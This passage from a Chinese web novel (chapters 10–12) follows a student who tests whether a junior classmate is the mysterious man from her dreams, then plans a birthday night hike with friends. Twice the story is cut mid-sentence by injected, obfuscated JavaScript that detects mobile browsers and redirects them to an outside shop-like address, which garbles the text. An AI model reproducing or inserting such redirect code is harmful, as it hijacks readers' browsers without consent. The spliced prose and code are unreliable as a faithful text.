“自然可以。”江亦钦语气笃定,“梦境不会长久,等到幻境开始崩塌,你便会醒来。只是在此之前,最好不要随意四处乱走,也别再去招惹那些东西。” 谢知榆连忙点头,她犹豫片刻,还是问出了憋在心里许久的问题:“那你呢?你每次都能来去自如吗?你……到底是什么人?” 这个问题像是触碰到了他不愿提及的禁区。江亦钦端起奶茶抿了一口,杯沿遮住了大半张脸,神色淡了下来。 “我只是一个无处落脚的流浪者。”他避开正面回答,“比起我,你更该担心自己。梦境快要不稳了。” 谢知榆一愣,连忙看向四周。 不知何时,商场里的光线开始忽明忽暗,惨白的灯光不断闪烁,耳边嘈杂的人声渐渐变得失真、缥缈,像是老旧磁带被放慢了速度。来往的木偶人身形开始微微扭曲,轮廓变得模糊不清,整座商场都泛起一层细碎的波纹。 脚下的地面也轻轻晃动起来。 “要醒了?”谢知榆心头一紧。 “对。”江亦钦站起身,目光牢牢锁住她,“记住我的话,下次再入梦,尽量待在安全的地方。如果再遇到危险……” 他顿了顿,话语在唇边辗转,最终只化作一句简短的叮嘱:“等我。” 周围的景象扭曲得越来越厉害,墙体、商铺、行人逐一化作碎片,如同散掉的琉璃。强烈的眩晕感席卷而来,谢知榆眼前阵阵发黑。 她还想再问些什么,视线却已经被浓重的光影吞没。朦胧间,她似乎看见江亦钦依旧站在原地,身形在破碎的幻境里显得孤孤单单,目光始终追随着她的方向。 下一秒,天旋地转。 刺骨的阴冷尽数褪去,取而代之的是宿舍里熟悉的暖意与舍友绵长的呼吸声。 谢知榆猛地睁开眼睛,大口喘着气,胸口起伏不定。窗外天色已经蒙蒙发亮,晨曦透过窗帘缝隙照进屋内。 她抬手摸了摸自己的手心,仿佛还残留着方才触碰江亦钦时的温热,梦里的一幕幕清晰得恍如昨日。 挣扎着坐起身,她第一时间抓过枕边的手机。屏幕亮起,好友列表顶端,那个顶着黑色小猫头像、昵称是字母J的账号,赫然显示着“已通过好友申请”。 申请通过的时间,定格在早晨七点整。 谢知榆望着屏幕,心跳再次不受控制地加速,这一切都太过离奇了。 梦里的江亦钦穿梭于无数梦境,现实里的他,又究竟是什么模样,他们是同一个人吗? 11. 第 11 章 “学姐你好呀!” 简洁的文字末尾,还缀着一个小小的探头表情包,透着少年人独有的青涩阳光。 谢知榆盯着屏幕微微出神,脑海里不受控制地浮现出梦境里的画面。梦里的少年,和此刻消息背后温柔乖巧的人,简直判若两人。 他们两个真的是同一个人吗,谢知榆不太确定了。 谢知榆反应过来,毛球应该才是对这些最清楚的啊,对啊,毛球呢? 她在心里轻声唤道:“毛球?” 异常安静,无论她在脑海里怎么呼喊,毛球都没有回应。往日里一喊就会出现的毛球,此刻踪影全无。 “毛球,你去哪里了?”谢知榆的声音渐渐变急,心里彻底慌了。 回应她的,依旧是一片寂静。 一遍遍呼唤都没有结果,谢知榆彻底冷静不下来。恐慌慢慢笼罩了她,心里空落落的,手脚也发凉。 毛球不见了,让谢知榆彻底分不清之前的一切到底是真实的,还是全都是她做的梦而已。她甚至怀疑之前经历的一切,都只是她的一场梦而已。 谢知榆拿起手机,打开日历,日期明晃晃的告诉她,这一切都是发生过的。就算没有毛球,她也一定要弄清楚这一切究竟是怎么回事。 谢知榆思考了半天,只能从江亦钦入手了。他是唯一一个跟她的梦境有联系的人,只是不知道怎么开口,又该问些什么问题。 换做以往,她向来纠结又拖延,哪怕是一件小事,都要反复斟酌、犹豫许久。可经历了一次次诡异的梦境纠缠,积攒的疑虑压得她喘不过气,这一次,她半点犹豫都没有。 谢知榆敛去纷乱的思绪,指尖利落敲击屏幕,直球出击,没有丝毫拐弯抹角:“你今天有空吗?方便出来一下不,我有点事找你。” 消息发送出去不过两秒,对话框几乎秒跳更新。 “有空的学姐!我随时都可以!” 紧随其后,他又发来一条,带着恰到好处的热情和贴心:“正好快到饭点了,学校周边新开了一家饭馆,味道特别好,学姐要不要顺便一起吃个午饭?” 谢知榆看到消息,下意识轻轻蹙了蹙眉。 她性子慢热,和不熟的人单独吃饭,对她而言属实煎熬,简直是如坐针毡。 她斟酌着语气,委婉又礼貌地回绝:“吃饭就不用啦。” 怕气氛尴尬,她很快补充了折中方案:“我们去南区花园坐坐吧,那边环境挺安静的。” “可以啊!” 江亦钦的回复依旧干脆温顺,没有半点勉强,全然顺着她的意思,乖巧得不像话。 谢知榆看了眼时间,已经快九点半了,考虑了一下她洗漱和走过去要用的时间,她估算了一下:“那我们十点半在花园见吧。” 江亦钦回了一个收到的表情。 谢知榆简单收拾了一下仪容,穿了一件简单的白t加上运动裤,将头发高高扎起。她纠结了一下要不要涂防晒,还是懒了一下,拿了一把伞出门了。 走到楼下,谢知榆顺便点了两杯喝的,一手撑着伞,一手提着喝的。 十点过正是温度上升的时候,太阳渐渐毒辣起来,热气顺着伞沿往里面钻。谢知榆暗自后悔,这么热的天选在花园碰面,实在不算明智。 周末的南区花园格外闲适惬意。暖风吹拂树梢,枝叶轻轻摇曳,细碎的阳光穿过叶隙洒落,在地面铺就斑驳错落的光影。园内零星散落着休憩闲谈的学生,人声轻柔,氛围松弛又安静,忽略炎热的天气,确实是谈话的好去处。 谢知榆缓步走到约定的长椅旁,才发现江亦钦已经提前抵达。 他穿着干净的白色短袖,黑色短发柔软清爽,身形清瘦挺拔,安安静静地站在长椅边等候。周身萦绕着纯粹的少年气,干净、温柔,和梦境里那个少年,没有一丝重合的气质。 瞥见谢知榆的身影,江亦钦眼底瞬间亮起细碎的光,立刻扬起一抹干净澄澈的笑意,主动抬手朝她挥了挥。 谢知榆走上前,将手里的奶茶递到他面前:“给你,顺路买的。不知道你喜欢喝什么,我就点了和我一样的。” “谢谢学姐!”江亦钦立刻上前双手接过,指尖轻轻触碰到冰凉的杯壁,眉眼弯成温柔的弧度,耳尖悄然染上一层浅浅的绯红,腼腆又真诚。 两人对坐在椅子上坐下,中间隔着一个石桌。暖风缓缓吹过,带着草木的清香,周遭安静柔和,却唯独让谢知榆的心底翻涌着无数疑惑。 她低头盯着手里晃动的奶茶液体,指尖反复摩挲着冰凉的杯壁。 到底是不是同一个人? 谢知榆深吸一口气,压下心底翻涌的纷乱,侧头看向身侧的少年,打算慢慢开口试探,一点点剥开这层萦绕已久的梦境迷雾。 身旁的江亦钦见她迟迟不说话,只低头盯着奶茶发呆,眉眼间带着浅浅的困惑,温声开口,语气里满是乖巧的关切:“学姐,你怎么了?是不是有什么心事?” 他的声音干净温柔,是完全属于邻家学弟的软糯调子,听不出半点梦境里的清冷疏离。 谢知榆抬眼看向他,撞进一双澄澈干净的眼眸里。此刻的江亦钦眼底坦荡纯粹,阳光落在他浓密的睫毛上,投出浅浅的阴影,温顺得毫无破绽。 “说起来有点冒昧,”谢知榆酝酿了下,“你最近睡觉做梦吗?” “啊?”江亦钦的表情有点惊讶,随即控制住了表情,“我好像最近没做梦。” “是有什么事吗?” 谢知榆定了定神,没有绕弯子:“我最近,一直反复做同一个奇怪的梦。” 江亦钦闻言微微一怔,眼底带着恰到好处的好奇,附和说:“奇怪的梦?噩梦吗?学姐是不是被吓到了?” “算不上噩梦,但很诡异。”谢知榆垂眸,轻轻搅动着杯里的奶茶,语气平缓,却字字带着试探,“梦里我总能见到一个人,长得和你一模一样。” 这句话落下的瞬间,她清晰看见江亦钦的指尖几不可察地顿了一下。 只是那丝异动太过短暂,快得让人以为是错觉。下一瞬,少年便扬起一抹错愕又腼腆的笑,耳尖微红,带着少年人被直白搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577008|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的青涩局促:“和我长得一模一样?这么巧吗?” 他神色坦荡,眼底只有纯粹的意外,没有丝毫慌乱、诧异或是心虚,完美得挑不出半点毛病。 谢知榆静静看着他,心里的疑惑却愈发浓重。 她继续缓缓开口,刻意描摹着梦境里的细节,试探着他的反应:“他和你性格又很不一样,很奇怪对吧。” 她刻意停顿了一瞬,目光紧紧锁在他脸上,不肯放过一丝细微的情绪变化。 江亦钦眨了眨眼,轻轻挠了挠头,笑容干净又懵懂,全然是一副听不懂、不知情的模样:“那也太神奇了吧。难道世界上真的有和我长得一样的人?” 说着,他微微侧头,语气带着几分温柔的困惑:“可是学姐,我从来没有梦到过你,也没有去过你说的那些地方。我平时作息很规律,很少做梦,更不会梦到那些奇怪的场景。” 说完,他脸上还带着浅浅的羞涩,眉眼弯弯,干净得不像话。 他的回答滴水不漏,温柔又真诚,挑不出任何破绽。 眼前的少年明媚鲜活,被阳光和烟火气包裹,是正常青春里最美好的模样。 明明是同一张眉眼,却像是割裂成了两个完全相反的灵魂。 谢知榆心里渐渐有了答案,他没有撒谎,他是真的什么都不知道。就算他演技真的精湛到不露分毫破绽,那她也只能认栽。 谢知榆现在不知道该怎么办了,她忍不住深深叹了口气,苍天啊,命运啊,你为何要如此捉弄我! 江亦钦敏锐察觉到她情绪低落,脸上的笑意慢慢敛了些,语气愈发温柔,带着小心翼翼的安抚:“学姐,你还好吗?” 他微微前倾身子,目光真挚又恳切,眼底的在意藏都藏不住,是独属于现实江亦钦的温柔与体贴。 谢知榆抬眸,望着他干净无害的模样,终究是把到了嘴边的追问咽了回去。 “没事,”谢知榆轻轻摇头,压下心底所有的复杂情绪,扯出一抹浅淡自然的笑意,轻轻翻过这个沉重的话题,“就是觉得太离奇了,忍不住问问你。” “原来是这样。”江亦钦松了口气,眉眼重新染上浅浅笑意,语气软乎乎的,“那就好。学姐以后要是再梦到什么奇怪的东西,或者心里不舒服,随时都可以找我。” 风轻轻拂过树梢,落下细碎的光影,温柔裹着周遭的一切。 谢知榆看着眼前眉眼澄澈的少年,脑海里却不受控制地重叠上梦境里那个清冷孤寂的身影。 他们两个真的很不一样,谢知榆勉强挤出一丝笑容:“今天真实麻烦你了,这么点小事就让你跑出来一趟,下次一定请你吃饭!” “那学姐要欠我多少顿饭,才能跟我出来吃顿饭呢?”江亦钦笑着调侃道。 谢知榆想起来了,上次好像也是说要请江亦钦吃饭来着,她尴尬得忍不住想找条地缝钻进去。 看着谢知榆尴尬的表情,江亦钦见好就收:“我开玩笑呢,学姐千万别放在心上。” 谢知榆哈哈两声,顺坡下驴:“我有空一定请你吃饭。” 12. 第 12 章 接连几天,谢知榆都没有做梦了,连毛球也不见踪影,不知道该说是好事还是坏事。 只是偶尔半夜惊醒,她有点恍惚,不知道自己是在梦里面还是在现实,很多次夜晚醒,就再也睡不着了。 谢知榆安慰自己,不做梦那不挺好的,过段时间习惯了就不会晚上醒来了。 宿舍大家也都看出来了谢知榆最近状态不对,大家轮番上阵去问她怎么了,谢知榆也不知道该怎么说,只能说没事。 她们三个看着谢知榆每天都昏昏沉沉的,叶雨兰提议,要不趁着林舒生日,大家一起出去好好玩一下,放松放松心情。 林舒和许晓月都点了点头,表示可以。 “咳咳,”叶雨兰清了清嗓,“周末我们一起去给小林过生日,怎么样?” 谢知榆趴在桌前发呆,大家说话的内容她是一点都没入脑,直到她感受到三道殷切的目光聚集在她身上,她才如梦初醒般的,直起身来:“我都可以。” 林舒走到她面前,用手在她眼前挥了挥:“知榆,你最近怎么了啊,感觉你整天都是恍惚的,真的没事吗?” 许晓月和叶雨兰附和地点了点头。 谢知榆握住林舒的手,扯起笑容,努力让语气变得活泼:“我真的没事,可能是最近没睡好吧。” “好啦好啦,你们刚刚说什么来着?” 三人对视一眼,分明都不太相信,可见谢知榆不愿多说,也没有再追问。 “我们刚刚是在说周末要不要出去给小林过生日,之前那个餐厅怎么样,挺好吃的,环境也不错,还能给小林拍几张照。”许晓月提议道。 谢知榆说道:“可以啊,我都行。” 叶雨兰惊呼:“天,我才反应过来,这是林子20岁生日啊!我们居然已经20岁了吗?” “别说了别说了,”林舒无奈扶额,笑着苦笑,被她说得莫名感慨,“突然就焦虑了。” 叶雨兰歪着头琢磨半天,嘴里念念有词:“有首歌怎么唱来着?再不什么就老了……” 许晓月无奈接话:“再不疯狂就老了。” “对对对,就是这句!”叶雨兰双手一拍,眼睛瞬间亮了,兴致勃勃地提议,“那我们干脆玩点疯狂的!去夜爬吧!爬到山顶等日出,迎着朝阳迈入二十岁,这仪式感直接拉满,也太美好了!” 这话瞬间戳中了谢知榆。 从大一入学开始,她就一直撺掇着宿舍全员去夜爬,只是大家总因为各种琐事耽搁,迟迟没能成行。沉寂多日的心情,难得因为这个提议泛起了一丝波澜。 “可以!”她难得主动应声,眼里多了些期待。 几人说干就干,立刻拿出手机,热火朝天地查起夜爬需要准备的东西、登山路线和注意事项,宿舍里久违充满了热闹鲜活的笑语声。 就在大家兴致高涨的时候,许晓月忽然冷静下来,及时打断了众人:“我打断一下,咱们四个单独去,是不是有点太危险了?” 这话瞬间让大家冷静了几分。 她们四个都是平时不爱运动的宅宿舍女孩,体能一般,而且是深夜爬山,那座山她们也不算熟悉,山路陌生又偏僻,四个女生单独出行,确实太过冒险。 “那要不我再多喊几个人一起?人多也热闹,还能互相照应。”林舒立刻反应过来,拿起手机翻开好友列表,准备邀约同学同行。 她很快给班里几个平日玩得要好的同学发去了团建邀约,消息刚发送出去,就陆续收到了大家爽快的答复,没一会儿就凑齐了一队人。 解决完安全问题,众人彻底放下顾虑,又叽叽喳喳地细化起全天行程。 “我看学校附近这座山不算高,凌晨爬完全没问题,我们爬山之前,要不要再安排点别的活动?”叶雨兰率先提议。 林舒早有规划,笑着说出自己的想法:“我刚好想好流程了。当天下午我们先去餐厅好好吃顿饭,晚上我们去KTV唱会儿歌,熬到凌晨直接出发夜爬,刚好赶山顶日出,一整天安排得满满当当,怎么样?” “这行程也太特种兵了吧。”谢知榆忍不住轻笑感叹,随即弯起眉眼,语气轻快了不少,“不过,我喜欢。” 敲定所有安排,四个人彻底安下心来,满心都是对生日团建的期待。连日来谢知榆低沉、压抑的心情,也被这份鲜活的期待彻底一扫而空 接下来的几天,原本沉闷枯燥的校园日常,忽然有了明确的盼头。大家课余闲聊的话题,几乎都围着林舒的二十岁生日和夜爬计划打转,琐碎的日常也变得鲜活有趣起来。 她们利用课余时间,一点点细化行程细节,把松弛又充实的特种兵日程安排得妥妥当当。 许晓月特意翻看了很多探店攻略,先是看哪家餐厅最好吃,敲定了视野最好、最适合拍照的靠窗位置,生怕生日当天出一点纰漏。 叶雨兰则主攻夜爬攻略,反复翻看学长学姐的打卡分享,确认登山路线的难易度,标记出安全路段,还细心整理了必备清单。 等待的日子里,四人也常常互相调侃打趣。一边吐槽彼此常年躺平、体能堪忧,大概率爬一半就累瘫在半山腰,一边又互相打气、彼此约定,不管当晚多累多困,都一定要携手登顶,陪着林舒迎着朝阳,奔赴崭新的二十岁。 受邀的同学们也一直在群里互动,询问集合时间、核对准备事项,一场小小的宿舍团建,慢慢变成了一群年轻人热烈期待的美好聚会。 终于,万众期待的周末如约而至。 这天天气格外清爽,连日的阴沉尽数消散,暖阳和煦,晚风轻柔,完美适配她们的所有出行计划。 几人早早褪去睡意起床,没有了周末惯有的慵懒拖沓,全员元气满满。洗漱完毕后,四个人围在梳妆台前互帮互助,细心化妆、打理发型,挑出各自精心准备的漂亮衣服。镜面映着四张笑意盎然的脸庞,细碎的笑声萦绕在整个宿舍,鲜活又治愈。 收拾妥当后,一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579454|204733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人直奔预定好的网红餐厅。精致可口的美食摆满餐桌,几人举杯说笑、大快朵颐。饭后围着寿星林舒不停拍照打卡,温柔的光影、热闹的氛围,让谢知榆紧绷多日的神经,彻底松弛下来。 傍晚时分,她们四个先回宿舍换了便于爬上的衣服和鞋子,然后又开始第二场娱乐,那就是唱歌。 还记得刚开学的时候,她们四个都不好意思在对方面前唱歌。结果还没过一个学期,她们就人来疯了,总是莫名其妙在宿舍一对上眼神就开始对唱。 “时间快到了,我问问他们出来没有?”林舒看了眼时间。 她们选定的爬山地点离学校并不远,正常车程只需二十多分钟,为了方便集合,大家提前约好,全员在校门口汇合,统一出发。 可谁也没料到,临近出发,天气骤然变脸。 天空忽然飘起了淅淅沥沥的小雨,细密的雨丝随风飘落,打湿路面,晚风也裹挟着丝丝凉意,突如其来的降雨,让原本完美的计划多了一丝变数。 四人收拾好东西匆匆赶到校门口,远远就看到提前赴约的蔡静。 她是最先抵达集合点,此刻正独自站在校门口的巨型遮阳伞下,静静避雨等候。远远望见她们四人走来,她立刻扬起笑脸,抬手用力挥手打招呼。 “哈喽啊,小蔡!”谢知榆几人快步走上前,躲进伞下,熟稔地和她问好。 “你们来啦!”蔡静笑着侧身给她们挪出位置,目光下意识望向湿漉漉的路面,语气带着几分不确定,“这雨下得有点突然,你们说……咱们今晚还能爬吗?” 叶雨兰仰头望着漫天细雨,咂了咂嘴:“看着不大,应该是小雨,下一会儿说不定就停了。我们再等等其他人看看情况。” “你们带伞了吗,别淋感冒了。”许晓月担忧地说,她出门的时候看天气晴朗,就没有带伞。 “问问他们还有没有没出宿舍的吧,拿几把伞出来呗。”林舒建议道。 还没等她们发消息,剩下人的身影就出现在了校门口。 蒋浩撑着一把伞,步履轻快地走在最前面,身侧跟着苏远航,两人说说笑笑,很快走近。 谢知榆下意识顺着人群往后一瞥,视线骤然一顿,心底猛地一震。 人群末尾,江亦钦撑着一把黑色雨伞,缓步跟在他们两个身后。 他依旧是那副干净清爽的模样,简单的纯色卫衣衬得身形清瘦挺拔,伞沿微微压低,遮住了大半眉眼,只露出干净利落的下颌线。雨水打湿了几缕额前碎发,添了几分慵懒温柔,周身气质温顺又干净,是人人皆知的乖巧学弟模样。 可谢知榆的心跳,却莫名漏了一拍。 江亦钦像是有所感应一般,缓缓抬眼。 隔着朦胧雨雾,他的目光精准落在谢知榆身上。 四目相对。 少年微微一怔,随即褪去眼底的清淡疏离,扬起一抹温顺干净的笑,隔着淅淅沥沥的雨幕,轻轻朝她点了点头。